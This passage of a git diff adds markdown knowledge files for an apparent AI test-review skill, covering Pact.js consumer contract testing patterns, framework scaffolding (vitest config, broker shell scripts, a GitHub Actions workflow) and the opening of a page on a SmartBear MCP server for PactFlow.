+.executeTest(async (mockServer: V3MockServer) => {
+  const api = createApiClient(createTestContext(mockServer.url));
+  const result = await api.getFilterFields();
+  expect(result).toEqual(
+    expect.arrayContaining([
+      expect.objectContaining({
+        id: expect.any(String),
+        readable: expect.any(String),
+        filterType: expect.any(String),
+      }),
+    ]),
+  );
+});
+```
+
+**Key Points**:
+
+- No HTTP status assertion — the consumer method throws on non-2xx, so reaching the expect proves success
+- Assertions validate the return value shape, not transport details
+- The real client's headers, timeout, and retry logic are exercised transparently
+- Less code, more coverage — the test is shorter and tests more
+
+### Example 4: Contract Accuracy Fix
+
+**Context**: Using real consumer code revealed a contract mismatch that raw fetch silently hid. This is the strongest argument for the pattern.
+
+The real `getCustomerActivityCount(transactionId, dateRange)` sends:
+
+```json
+{ "transactionId": "txn-123", "filters": { "dateRange": "last_30_days" } }
+```
+
+The old test with raw fetch sent:
+
+```json
+{ "transactionId": "txn-123", "filters": {} }
+```
+
+This was wrong but passed because raw fetch let you hand-craft any body. When switched to real code, Pact immediately returned a 500 Request-Mismatch because the body shape did not match the interaction.
+
+**Implementation** — fix the contract to match reality:
+
+```typescript
+// WRONG — old contract with empty filters
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: { transactionId: "txn-123", filters: {} },
+})
+
+// CORRECT — matches what real code actually sends
+.withRequest({
+  method: "POST",
+  path: "/api/v2/customers/activity/count",
+  body: {
+    transactionId: "txn-123",
+    filters: { dateRange: "last_30_days" },
+  },
+})
+```
+
+**Key Points**:
+
+- Contracts become discoverable truth, not hand-maintained guesses
+- Raw fetch silently hid the mismatch — the mock accepted whatever you sent
+- The 500 Request-Mismatch from Pact was immediate and clear
+- Fix the contract when real code reveals a mismatch — that mismatch is a bug the old tests were hiding
+
+### Example 5: Parallel-Endpoint Methods
+
+**Context**: Facade methods that call multiple endpoints via `Promise.all` (e.g., `getTransactionStats` calls count + score + amount in parallel). Keep separate `it` blocks per endpoint and use the lower-level request function directly.
+
+**Implementation**:
+
+```typescript
+import { describe, it, expect } from 'vitest';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { makeApiRequestWithContext } from '../../src/http-client.js';
+import type { CountStatistics } from '../../src/types.js';
+import { createTestContext } from '../support/test-context.js';
+
+describe('Transaction Statistics - Count Endpoint', () => {
+  // ... provider setup ...
+
+  it('should return count statistics', async () => {
+    const statsRequest = { transactionId: 'txn-123', period: 'daily' };
+
+    await provider
+      .given('transaction statistics exist')
+      .uponReceiving('a request for transaction count statistics')
+      .withRequest({
+        method: 'POST',
+        path: '/api/v2/transactions/statistics/count',
+        body: statsRequest,
+      })
+      .willRespondWith({
+        status: 200,
+        body: { count: 42, period: 'daily' },
+      })
+      .executeTest(async (mockServer: V3MockServer) => {
+        const context = createTestContext(mockServer.url);
+        const result = await makeApiRequestWithContext<CountStatistics>(context, '/transactions/statistics/count', 'POST', statsRequest);
+        expect(result.count).toBeDefined();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- Each Pact interaction verifies one endpoint contract
+- The `Promise.all` orchestration is internal logic, not a contract concern
+- Use `makeApiRequestWithContext` (lower-level) when the facade method bundles multiple calls
+- Separate `it` blocks keep contracts independent and debuggable
+
+## Anti-Patterns
+
+### Wrong: Raw fetch — tests Pact mock, not consumer code
+
+```typescript
+// BAD: Raw fetch duplicates headers and URL assembly
+const response = await fetch(`${mockServer.url}/api/v2/transactions`, {
+  method: 'GET',
+  headers: {
+    Authorization: 'Bearer test-jwt-token',
+    'Content-Type': 'application/json',
+  },
+});
+expect(response.status).toBe(200);
+```
+
+### Wrong: vi.mock with getter — fragile ESM hoisting
+
+```typescript
+// BAD: ESM hoisting makes this non-obvious and brittle
+vi.mock('../../src/constants.js', async (importOriginal) => ({
+  ...(await importOriginal()),
+  get API_BASE_URL() {
+    return mockBaseUrl;
+  },
+}));
+```
+
+### Wrong: Asserting HTTP status instead of return value
+
+```typescript
+// BAD: Status 200 tells you nothing about the consumer's parsing logic
+expect(response.status).toBe(200);
+```
+
+### Right: Call real consumer code, assert return values
+
+```typescript
+// GOOD: Exercises real client, validates parsed return value
+const api = createApiClient(createTestContext(mockServer.url));
+const result = await api.searchTransactions(request);
+expect(result.transactions).toBeDefined();
+```
+
+## Rules
+
+1. `baseUrl` field MUST be optional with fallback via `??` (nullish coalescing)
+2. Zero production behavior change — existing code never sets `baseUrl`
+3. Assertions validate return values from consumer methods, not HTTP status codes
+4. For parallel-endpoint facade methods, keep separate `it` blocks per endpoint
+5. Include the API version prefix in `baseUrl` when endpoint paths/consumer methods are versionless (for example, methods call `/transactions` instead of `/api/v2/transactions`)
+6. Create a single shared test context helper — no repetition across test files
+7. If real code reveals a contract mismatch, fix the contract — that mismatch is a bug the old tests were hiding
+
+## Integration Points
+
+- `contract-testing.md` — Foundational Pact.js patterns and provider verification
+- `pactjs-utils-consumer-helpers.md` — `createProviderState()`, `setJsonContent()`, and `setJsonBody()` helpers used alongside this pattern
+- `pactjs-utils-provider-verifier.md` — Provider-side verification configuration
+- `fixture-architecture.md` — Composable fixture patterns (`createTestContext` follows pure-function-first)
+- `api-testing-foundations.md` — API testing best practices
+
+Used in workflows:
+
+- `automate` — Consumer contract test generation
+- `test-review` — Contract test quality checks
+
+## Source
+
+Pattern derived from my-consumer-app Pact consumer test refactor (March 2026). Implements dependency injection for testability as described in Pact.js best practices.
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pact-consumer-framework-setup.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pact-consumer-framework-setup.md
new file mode 100644
index 0000000..10557d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pact-consumer-framework-setup.md
@@ -0,0 +1,635 @@
+# Pact Consumer CDC — Framework Setup
+
+## Principle
+
+When scaffolding a Pact.js consumer contract testing framework, align every artifact — directory layout, vitest config, package.json scripts, shell scripts, CI workflow, and test files — with the canonical `@seontechnologies/pactjs-utils` conventions. Consistency across repositories eliminates onboarding friction and ensures CI pipelines are copy-paste portable.
+
+## Rationale
+
+The TEA framework workflow generates scaffolding for consumer-driven contract (CDC) testing. Without opinionated, battle-tested conventions, each project invents its own structure — different script names, different env var patterns, different CI step ordering — making cross-repo maintenance expensive. This fragment codifies the production-proven patterns from the pactjs-utils reference implementation so that every new project starts correctly.
+
+## Pattern Examples
+
+### Example 1: Directory Structure & File Naming
+
+**Context**: Consumer contract test project layout using pactjs-utils conventions.
+
+**Implementation**:
+
+```
+tests/contract/
+├── consumer/
+│   ├── get-filter-fields.pacttest.ts    # Consumer test (one per endpoint group)
+│   ├── filter-transactions.pacttest.ts
+│   └── get-transaction-stats.pacttest.ts
+└── support/
+    ├── pact-config.ts                   # PactV4 factory (consumer/provider names, output dir)
+    ├── provider-states.ts               # Provider state factory functions
+    └── consumer-helpers.ts              # Local shim (until pactjs-utils is published)
+
+scripts/
+├── env-setup.sh                         # Shared env loader (sourced by all broker scripts)
+├── publish-pact.sh                      # Publish pact files to broker
+├── can-i-deploy.sh                      # Deployment safety check
+└── record-deployment.sh                 # Record deployment after merge
+
+.github/
+├── actions/
+│   └── detect-breaking-change/
+│       └── action.yml                   # PR checkbox-driven breaking change detection
+└── workflows/
+    └── contract-test-consumer.yml       # Consumer CDC CI workflow
+```
+
+**Key Points**:
+
+- Consumer tests use `.pacttest.ts` extension (not `.pact.spec.ts` or `.contract.ts`)
+- Support files live in `tests/contract/support/`, not mixed with consumer tests
+- Shell scripts live in `scripts/` at project root, not nested inside test directories
+- CI workflow named `contract-test-consumer.yml` (not `pact-consumer.yml` or other variants)
+
+---
+
+### Example 2: Vitest Configuration for Pact
+
+**Context**: Minimal vitest config dedicated to contract tests — do NOT copy settings from the project's main `vitest.config.ts`.
+
+**Implementation**:
+
+```typescript
+// vitest.config.pact.ts
+import { defineConfig } from 'vitest/config';
+
+export default defineConfig({
+  test: {
+    environment: 'node',
+    include: ['tests/contract/**/*.pacttest.ts'],
+    testTimeout: 30000,
+  },
+});
+```
+
+**Key Points**:
+
+- Do NOT add `pool`, `poolOptions`, `setupFiles`, `coverage`, or other settings from the unit test config
+- Keep it minimal — Pact tests run in Node environment with extended timeout
+- 30 second timeout accommodates Pact mock server startup and interaction verification
+- Use a dedicated config file (`vitest.config.pact.ts`), not the main vitest config
+
+---
+
+### Example 3: Package.json Script Naming
+
+**Context**: Colon-separated naming matching pactjs-utils exactly. Scripts source `env-setup.sh` inline.
+
+**Implementation**:
+
+```json
+{
+  "scripts": {
+    "test:pact:consumer": "vitest run --config vitest.config.pact.ts",
+    "publish:pact": ". ./scripts/env-setup.sh && ./scripts/publish-pact.sh",
+    "can:i:deploy:consumer": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/can-i-deploy.sh",
+    "record:consumer:deployment": ". ./scripts/env-setup.sh && PACTICIPANT=<service-name> ./scripts/record-deployment.sh"
+  }
+}
+```
+
+Replace `<service-name>` with the consumer's pacticipant name (e.g., `my-frontend-app`).
+
+**Key Points**:
+
+- Use colon-separated naming: `test:pact:consumer`, NOT `test:contract` or `test:contract:consumer`
+- Broker scripts source `env-setup.sh` inline in package.json (`. ./scripts/env-setup.sh && ...`)
+- `PACTICIPANT` is set per-script invocation, not globally
+- Do NOT use `npx pact-broker` — use `pact-broker` directly (installed as a dependency)
+
+---
+
+### Example 4: Shell Scripts
+
+**Context**: Reusable bash scripts aligned with pactjs-utils conventions.
+
+#### `scripts/env-setup.sh` — Shared Environment Loader
+
+```bash
+#!/bin/bash
+# -e: exit on error  -u: error on undefined vars (catches typos/missing env vars in CI)
+set -eu
+
+if [ -f .env ]; then
+  set -a
+  source .env
+  set +a
+fi
+
+export GITHUB_SHA="${GITHUB_SHA:-$(git rev-parse --short HEAD)}"
+export GITHUB_BRANCH="${GITHUB_BRANCH:-$(git rev-parse --abbrev-ref HEAD)}"
+```
+
+#### `scripts/publish-pact.sh` — Publish Pacts to Broker
+
+```bash
+#!/bin/bash
+# Publish generated pact files to PactFlow/Pact Broker
+#
+# Requires: PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACT_DIR="./pacts"
+
+pact-broker publish "$PACT_DIR" \
+    --consumer-app-version="$GITHUB_SHA" \
+    --branch="$GITHUB_BRANCH" \
+    --broker-base-url="$PACT_BROKER_BASE_URL" \
+    --broker-token="$PACT_BROKER_TOKEN"
+```
+
+#### `scripts/can-i-deploy.sh` — Deployment Safety Check
+
+```bash
+#!/bin/bash
+# Check if a pacticipant version can be safely deployed
+#
+# Requires: PACTICIPANT (set by caller), PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+ENVIRONMENT="${ENVIRONMENT:-dev}"
+
+pact-broker can-i-deploy \
+    --pacticipant "$PACTICIPANT" \
+    --version="$GITHUB_SHA" \
+    --to-environment "$ENVIRONMENT" \
+    --retry-while-unknown=10 \
+    --retry-interval=30
+```
+
+#### `scripts/record-deployment.sh` — Record Deployment
+
+```bash
+#!/bin/bash
+# Record a deployment to an environment in Pact Broker
+# Only records on main/master branch (skips feature branches)
+#
+# Requires: PACTICIPANT, PACT_BROKER_BASE_URL, PACT_BROKER_TOKEN, GITHUB_SHA, GITHUB_BRANCH
+# -e: exit on error  -u: error on undefined vars  -o pipefail: fail if any pipe segment fails
+set -euo pipefail
+
+. ./scripts/env-setup.sh
+
+PACTICIPANT="${PACTICIPANT:?PACTICIPANT env var is required}"
+
+if [ "$GITHUB_BRANCH" = "main" ] || [ "$GITHUB_BRANCH" = "master" ]; then
+  pact-broker record-deployment \
+      --pacticipant "$PACTICIPANT" \
+      --version "$GITHUB_SHA" \
+      --environment "${npm_config_env:-dev}"
+else
+  echo "Skipping record-deployment: not on main branch (current: $GITHUB_BRANCH)"
+fi
+```
+
+**Key Points**:
+
+- `env-setup.sh` uses `set -eu` (no pipefail — it only sources `.env`, no pipes); broker scripts use `set -euo pipefail`
+- Use `pact-broker` directly, NOT `npx pact-broker`
+- Use `PACTICIPANT` env var (required via `${PACTICIPANT:?...}`), not hardcoded service names
+- `can-i-deploy` includes `--retry-while-unknown=10 --retry-interval=30` (waits for provider verification)
+- `record-deployment` has branch guard (only records on main/master)
+- Do NOT invent custom env vars like `PACT_CONSUMER_VERSION` or `PACT_BREAKING_CHANGE` in scripts — those are handled by `env-setup.sh` and the CI detect-breaking-change action respectively
+
+---
+
+### Example 5: CI Workflow (`contract-test-consumer.yml`)
+
+**Context**: GitHub Actions workflow for consumer CDC, matching pactjs-utils structure exactly.
+
+**Implementation**:
+
+```yaml
+name: Contract Test - Consumer
+on:
+  pull_request:
+    types: [opened, synchronize, reopened, edited]
+  push:
+    branches: [main]
+
+env:
+  PACT_BROKER_BASE_URL: ${{ secrets.PACT_BROKER_BASE_URL }}
+  PACT_BROKER_TOKEN: ${{ secrets.PACT_BROKER_TOKEN }}
+  GITHUB_SHA: ${{ github.sha }}
+  GITHUB_BRANCH: ${{ github.head_ref || github.ref_name }}
+
+concurrency:
+  group: ${{ github.workflow }}-${{ github.head_ref || github.ref }}
+  cancel-in-progress: true
+
+jobs:
+  consumer-contract-test:
+    if: github.actor != 'dependabot[bot]'
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v6
+
+      - uses: actions/setup-node@v6
+        with:
+          node-version-file: '.nvmrc'
+          cache: 'npm'
+
+      - name: Detect Pact breaking change
+        uses: ./.github/actions/detect-breaking-change
+
+      - name: Install dependencies
+        run: npm ci
+
+      # (1) Generate pact files
+      - name: Run consumer contract tests
+        run: npm run test:pact:consumer
+
+      # (2) Publish pacts to broker
+      - name: Publish pacts to PactFlow
+        run: npm run publish:pact
+
+      # After publish, PactFlow fires a webhook that triggers
+      # the provider's contract-test-provider.yml workflow.
+      # can-i-deploy retries while waiting for provider verification.
+
+      # (4) Check deployment safety (main only — on PRs, local verification is the gate)
+      - name: Can I deploy consumer? (main only)
+        if: github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'
+        run: npm run can:i:deploy:consumer
+
+      # (5) Record deployment (main only)
+      - name: Record consumer deployment (main only)
+        if: github.ref == 'refs/heads/main'
+        run: npm run record:consumer:deployment --env=dev
+```
+
+**Key Points**:
+
+- **Workflow-level `env` block** for broker secrets and git vars — not per-step
+- **`detect-breaking-change` step** runs before install to set `PACT_BREAKING_CHANGE` env var
+- **Step numbering skips (3)** — step 3 is the webhook-triggered provider verification (happens externally)
+- **can-i-deploy condition**: `github.ref == 'refs/heads/main' && env.PACT_BREAKING_CHANGE != 'true'`
+- **Comment on (4)**: "on PRs, local verification is the gate"
+- **No upload-artifact step** — the broker is the source of truth for pact files
+- **`dependabot[bot]` skip** on the job (contract tests don't run for dependency updates)
+- **PR types include `edited`** — needed for breaking change checkbox detection in PR body
+- **`GITHUB_BRANCH`** uses `${{ github.head_ref || github.ref_name }}` — `head_ref` for PRs, `ref_name` for pushes
+
+---
+
+### Example 6: Detect Breaking Change Composite Action
+
+**Context**: GitHub composite action that reads a `[x] Pact breaking change` checkbox from the PR body.
+
+**Implementation**:
+
+Create `.github/actions/detect-breaking-change/action.yml`:
+
+```yaml
+name: 'Detect Pact Breaking Change'
+description: 'Reads the PR template checkbox to determine if this change is a Pact breaking change. Sets PACT_BREAKING_CHANGE env var.'
+
+outputs:
+  is_breaking_change:
+    description: 'Whether the change is a breaking change (true/false)'
+    value: ${{ steps.result.outputs.is_breaking_change }}
+
+runs:
+  using: 'composite'
+  steps:
+    # PR event path: read checkbox directly from current PR body.
+    - name: Set PACT_BREAKING_CHANGE from PR description (PR only)
+      if: github.event_name == 'pull_request'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const prBody = context.payload.pull_request.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(prBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from PR description checkbox).`);
+
+    # Push-to-main path: resolve the merged PR and read the same checkbox.
+    - name: Set PACT_BREAKING_CHANGE from merged PR (push to main)
+      if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+      uses: actions/github-script@v7
+      with:
+        script: |
+          const { data: prs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
+            owner: context.repo.owner,
+            repo: context.repo.repo,
+            commit_sha: context.sha,
+          });
+          const merged = prs.find(pr => pr.merged_at);
+          const mergedBody = merged?.body || '';
+          const breakingChangePattern = /\[\s*[xX]\s*\]\s*Pact breaking change/i;
+          const isBreakingChange = breakingChangePattern.test(mergedBody);
+          core.exportVariable('PACT_BREAKING_CHANGE', isBreakingChange ? 'true' : 'false');
+          console.log(`PACT_BREAKING_CHANGE=${isBreakingChange ? 'true' : 'false'} (from merged PR lookup).`);
+
+    - name: Export result
+      id: result
+      shell: bash
+      run: echo "is_breaking_change=${PACT_BREAKING_CHANGE:-false}" >> "$GITHUB_OUTPUT"
+```
+
+**Key Points**:
+
+- Two separate conditional steps (better CI log readability than single if/else)
+- PR path: reads checkbox directly from PR body
+- Push-to-main path: resolves merged PR via GitHub API, reads same checkbox
+- Exports `PACT_BREAKING_CHANGE` env var for downstream steps
+- `outputs.is_breaking_change` available for consuming workflows
+- Uses a case-insensitive checkbox regex (`/\[\s*[xX]\s*\]\s*Pact breaking change/i`) to detect checked states robustly
+
+---
+
+### Example 7: Consumer Test Using PactV4 Builder
+
+**Context**: Consumer pact test using PactV4 `addInteraction()` builder pattern. The test MUST call **real consumer code** (your actual API client/service functions) against the mock server — not raw `fetch()`. Using `fetch()` directly defeats the purpose of CDC testing because it doesn't verify your actual consumer code works with the contract.
+
+**Implementation**:
+
+The consumer code must expose a way to inject the base URL (e.g., `setApiUrl()`, constructor parameter, or environment variable). This is a prerequisite for contract testing.
+
+```typescript
+// src/api/movie-client.ts — The REAL consumer code (already exists in your project)
+import axios from 'axios';
+
+const axiosInstance = axios.create({
+  baseURL: process.env.API_URL || 'http://localhost:3001',
+});
+
+// Expose a way to override the base URL for Pact testing
+export const setApiUrl = (url: string) => {
+  axiosInstance.defaults.baseURL = url;
+};
+
+export const getMovies = async () => {
+  const res = await axiosInstance.get('/movies');
+  return res.data;
+};
+
+export const getMovieById = async (id: number) => {
+  const res = await axiosInstance.get(`/movies/${id}`);
+  return res.data;
+};
+```
+
+```typescript
+// tests/contract/consumer/get-movies.pacttest.ts
+import { MatchersV3 } from '@pact-foundation/pact';
+import type { V3MockServer } from '@pact-foundation/pact';
+import { createProviderState, setJsonBody, setJsonContent } from '../support/consumer-helpers';
+import { movieExists } from '../support/provider-states';
+import { createPact } from '../support/pact-config';
+// Import REAL consumer code — this is what we're actually testing
+import { getMovies, getMovieById, setApiUrl } from '../../../src/api/movie-client';
+
+const { like, integer, string } = MatchersV3;
+
+const pact = createPact();
+
+describe('Movies API Consumer Contract', () => {
+  const movieWithId = { id: 1, name: 'The Matrix', year: 1999, rating: 8.7, director: 'Wachowskis' };
+
+  it('should get a movie by ID', async () => {
+    const [stateName, stateParams] = createProviderState(movieExists(movieWithId));
+
+    await pact
+      .addInteraction()
+      .given(stateName, stateParams)
+      .uponReceiving('a request to get movie by ID')
+      .withRequest(
+        'GET',
+        '/movies/1',
+        setJsonContent({
+          headers: { Accept: 'application/json' },
+        }),
+      )
+      .willRespondWith(
+        200,
+        setJsonBody(
+          like({
+            id: integer(1),
+            name: string('The Matrix'),
+            year: integer(1999),
+            rating: like(8.7),
+            director: string('Wachowskis'),
+          }),
+        ),
+      )
+      .executeTest(async (mockServer: V3MockServer) => {
+        // Inject mock server URL into the REAL consumer code
+        setApiUrl(mockServer.url);
+
+        // Call the REAL consumer function — this is what CDC testing validates
+        const movie = await getMovieById(1);
+
+        expect(movie.id).toBe(1);
+        expect(movie.name).toBe('The Matrix');
+      });
+  });
+
+  it('should handle movie not found', async () => {
+    await pact
+      .addInteraction()
+      .given('No movies exist')
+      .uponReceiving('a request for a non-existent movie')
+      .withRequest('GET', '/movies/999')
+      .willRespondWith(404, setJsonBody({ error: 'Movie not found' }))
+      .executeTest(async (mockServer: V3MockServer) => {
+        setApiUrl(mockServer.url);
+
+        await expect(getMovieById(999)).rejects.toThrow();
+      });
+  });
+});
+```
+
+**Key Points**:
+
+- **CRITICAL**: Always test your REAL consumer code — import and call actual API client functions, never raw `fetch()`
+- Using `fetch()` directly only tests that Pact's mock server works, which is meaningless
+- Consumer code MUST expose a URL injection mechanism: `setApiUrl()`, env var override, or constructor parameter
+- If the consumer code doesn't support URL injection, add it — this is a design prerequisite for CDC testing
+- Use PactV4 `addInteraction()` builder (not PactV3 fluent API with `withRequest({...})` object)
+- **Interaction naming convention**: Use the pattern `"a request to <action> <resource> [<condition>]"` for `uponReceiving()`. Examples: `"a request to get a movie by ID"`, `"a request to delete a non-existing movie"`, `"a request to create a movie that already exists"`. These names appear in Pact Broker UI and verification logs — keep them descriptive and unique within the consumer-provider pair.
+- Use `setJsonContent` for request/response builder callbacks with query/header/body concerns; use `setJsonBody` for body-only response callbacks
+- Provider state factory functions (`movieExists`) return `ProviderStateInput` objects
+- `createProviderState` converts to `[stateName, stateParams]` tuple for `.given()`
+
+**Common URL injection patterns** (pick whichever fits your consumer architecture):
+
+| Pattern              | Example                                      | Best For              |
+| -------------------- | -------------------------------------------- | --------------------- |
+| `setApiUrl(url)`     | Mutates axios instance `baseURL`             | Singleton HTTP client |
+| Constructor param    | `new ApiClient({ baseUrl: mockServer.url })` | Class-based clients   |
+| Environment variable | `process.env.API_URL = mockServer.url`       | Config-driven apps    |
+| Factory function     | `createApi({ baseUrl: mockServer.url })`     | Functional patterns   |
+
+---
+
+### Example 8: Support Files
+
+#### Pact Config Factory
+
+```typescript
+// tests/contract/support/pact-config.ts
+import path from 'node:path';
+import { PactV4 } from '@pact-foundation/pact';
+
+export const createPact = (overrides?: { consumer?: string; provider?: string }) =>
+  new PactV4({
+    dir: path.resolve(process.cwd(), 'pacts'),
+    consumer: overrides?.consumer ?? 'MyConsumerApp',
+    provider: overrides?.provider ?? 'MyProviderAPI',
+    logLevel: 'warn',
+  });
+```
+
+#### Provider State Factories
+
+```typescript
+// tests/contract/support/provider-states.ts
+import type { ProviderStateInput } from './consumer-helpers';
+
+export const movieExists = (movie: { id: number; name: string; year: number; rating: number; director: string }): ProviderStateInput => ({
+  name: 'An existing movie exists',
+  params: movie,
+});
+
+export const hasMovieWithId = (id: number): ProviderStateInput => ({
+  name: 'Has a movie with a specific ID',
+  params: { id },
+});
+```
+
+#### Local Consumer Helpers Shim
+
+```typescript
+// tests/contract/support/consumer-helpers.ts
+// TODO(temporary scaffolding): Replace local TemplateHeaders/TemplateQuery types
+// with '@seontechnologies/pactjs-utils' exports when available.
+
+type TemplateHeaders = Record<string, string | number | boolean>;
+type TemplateQueryValue = string | number | boolean | Array<string | number | boolean>;
+type TemplateQuery = Record<string, TemplateQueryValue>;
+
+export type ProviderStateInput = {
+  name: string;
+  params: Record<string, unknown>;
+};
+
+type JsonMap = { [key: string]: boolean | number | string | null | JsonMap | Array<unknown> };
+type JsonContentBuilder = {
+  headers: (headers: TemplateHeaders) => unknown;
+  jsonBody: (body: unknown) => unknown;
+  query?: (query: TemplateQuery) => unknown;
+};
+
+export type JsonContentInput = {
+  body?: unknown;
+  headers?: TemplateHeaders;
+  query?: TemplateQuery;
+};
+
+export const toJsonMap = (obj: Record<string, unknown>): JsonMap =>
+  Object.fromEntries(
+    Object.entries(obj).map(([key, value]) => {
+      if (value === null || value === undefined) return [key, 'null'];
+      if (typeof value === 'object' && !(value instanceof Date) && !Array.isArray(value)) return [key, JSON.stringify(value)];
+      if (typeof value === 'number' || typeof value === 'boolean') return [key, value];
+      if (value instanceof Date) return [key, value.toISOString()];
+      return [key, String(value)];
+    }),
+  );
+
+export const createProviderState = ({ name, params }: ProviderStateInput): [string, JsonMap] => [name, toJsonMap(params)];
+
+export const setJsonContent =
+  ({ body, headers, query }: JsonContentInput) =>
+  (builder: JsonContentBuilder): void => {
+    if (query && builder.query) {
+      builder.query(query);
+    }
+
+    if (headers) {
+      builder.headers(headers);
+    }
+
+    if (body !== undefined) {
+      builder.jsonBody(body);
+    }
+  };
+
+export const setJsonBody = (body: unknown) => setJsonContent({ body });
+```
+
+**Key Points**:
+
+- If `@seontechnologies/pactjs-utils` is not yet installed, create a local shim that mirrors the API
+- Add a TODO comment noting to swap for the published package when available
+- The shim exports `createProviderState`, `toJsonMap`, `setJsonContent`, `setJsonBody`, and helper input types
+- Keep shim types local (or sourced from public exports only); do not import from internal Pact paths like `@pact-foundation/pact/src/*`
+
+---
+
+### Example 9: .gitignore Entries
+
+**Context**: Pact-specific entries to add to `.gitignore`.
+
+```
+# Pact contract testing artifacts
+/pacts/
+pact-logs/
+```
+
+---
+
+## Validation Checklist
+
+Before presenting the consumer CDC framework to the user, verify:
+
+- [ ] `vitest.config.pact.ts` is minimal (no pool/coverage/setup copied from unit config)
+- [ ] Script names match pactjs-utils (`test:pact:consumer`, `publish:pact`, `can:i:deploy:consumer`, `record:consumer:deployment`)
+- [ ] Scripts source `env-setup.sh` inline in package.json
+- [ ] Shell scripts use `pact-broker` not `npx pact-broker`
+- [ ] Shell scripts use `PACTICIPANT` env var pattern
+- [ ] `can-i-deploy.sh` has `--retry-while-unknown=10 --retry-interval=30`
+- [ ] `record-deployment.sh` has branch guard
+- [ ] `env-setup.sh` uses `set -eu`; broker scripts use `set -euo pipefail` — each with explanatory comment
+- [ ] CI workflow named `contract-test-consumer.yml`
+- [ ] CI has workflow-level env block (not per-step)
+- [ ] CI has `detect-breaking-change` step before install
+- [ ] CI step numbering skips (3) — webhook-triggered provider verification
+- [ ] CI can-i-deploy has `PACT_BREAKING_CHANGE != 'true'` condition
+- [ ] CI has NO upload-artifact step
+- [ ] `.github/actions/detect-breaking-change/action.yml` exists
+- [ ] Consumer tests use `.pacttest.ts` extension
+- [ ] Consumer tests use PactV4 `addInteraction()` builder
+- [ ] `uponReceiving()` names follow `"a request to <action> <resource> [<condition>]"` pattern and are unique within the consumer-provider pair
+- [ ] Interaction callbacks use `setJsonContent` for query/header/body and `setJsonBody` for body-only responses
+- [ ] Request bodies use exact values (no `like()` wrapper) — Postel's Law: be strict in what you send
+- [ ] `like()`, `eachLike()`, `string()`, `integer()` matchers are only used in `willRespondWith` (responses), not in `withRequest` (requests) — matchers check type/shape, not exact values
+- [ ] Consumer tests call REAL consumer code (actual API client functions), NOT raw `fetch()`
+- [ ] Consumer code exposes URL injection mechanism (`setApiUrl()`, env var, or constructor param)
+- [ ] Local consumer-helpers shim present if pactjs-utils not installed
+- [ ] `.gitignore` includes `/pacts/` and `pact-logs/`
+
+## Related Fragments
+
+- `pactjs-utils-overview.md` — Library decision tree and installation
+- `pactjs-utils-consumer-helpers.md` — `createProviderState`, `toJsonMap`, `setJsonContent`, and `setJsonBody` API details
+- `pactjs-utils-provider-verifier.md` — Provider-side verification patterns
+- `pactjs-utils-request-filter.md` — Auth injection for provider verification
+- `contract-testing.md` — Foundational CDC patterns and resilience coverage
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pact-mcp.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pact-mcp.md
new file mode 100644
index 0000000..3badcaf
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/pact-mcp.md
@@ -0,0 +1,204 @@
+# Pact MCP Server (SmartBear)
+
+## Principle
+
+Use the SmartBear MCP server to enable AI agent interaction with PactFlow/Pact Broker during contract testing workflows. The MCP server provides tools for generating pact tests, fetching provider states, reviewing test quality, and checking deployment safety — all accessible through the Model Context Protocol.
+
+## Rationale
+
+### Why MCP for contract testing?
+
+- **Live broker queries**: AI agents can fetch existing provider states, verification results, and deployment status directly from PactFlow
+- **Test generation assistance**: MCP tools generate consumer and provider tests based on existing contracts, OpenAPI specs, or templates
+- **Automated review**: MCP-powered review checks tests against best practices without manual inspection
+- **Deployment safety**: `can-i-deploy` checks integrated into agent workflows for real-time compatibility verification
+
+### When TEA uses it
+
+- **test-design workflow**: Fetch existing provider states to understand current contract landscape
+- **automate workflow**: Generate pact tests using broker knowledge and existing contracts
+- **test-review workflow**: Review pact tests against best practices with automated feedback
+- **ci workflow**: Reference can-i-deploy and matrix tools for pipeline guidance
+
+## Available Tools
+
+| #   | Tool                      | Description                                                             | When Used             |
+| --- | ------------------------- | ----------------------------------------------------------------------- | --------------------- |
+| 1   | **Generate Pact Tests**   | Create consumer/provider tests from code, OpenAPI, or templates         | automate workflow     |
+| 2   | **Fetch Provider States** | List all provider states from broker for a given consumer-provider pair | test-design, automate |
+| 3   | **Review Pact Tests**     | Analyze tests against contract testing best practices                   | test-review           |
+| 4   | **Can I Deploy**          | Check deployment safety via broker verification matrix                  | ci workflow           |
+| 5   | **Matrix**                | Query consumer-provider verification matrix                             | ci, test-design       |
+| 6   | **PactFlow AI Status**    | Check AI credits and permissions (PactFlow Cloud only)                  | diagnostics           |
+| 7   | **Metrics - All**         | Workspace-wide contract testing metrics                                 | reporting             |
+| 8   | **Metrics - Team**        | Team-level adoption statistics (PactFlow Cloud only)                    | reporting             |
+
+## Installation
+
+### Config file locations
+
+| Tool              | Global Config File                    | Format                 |
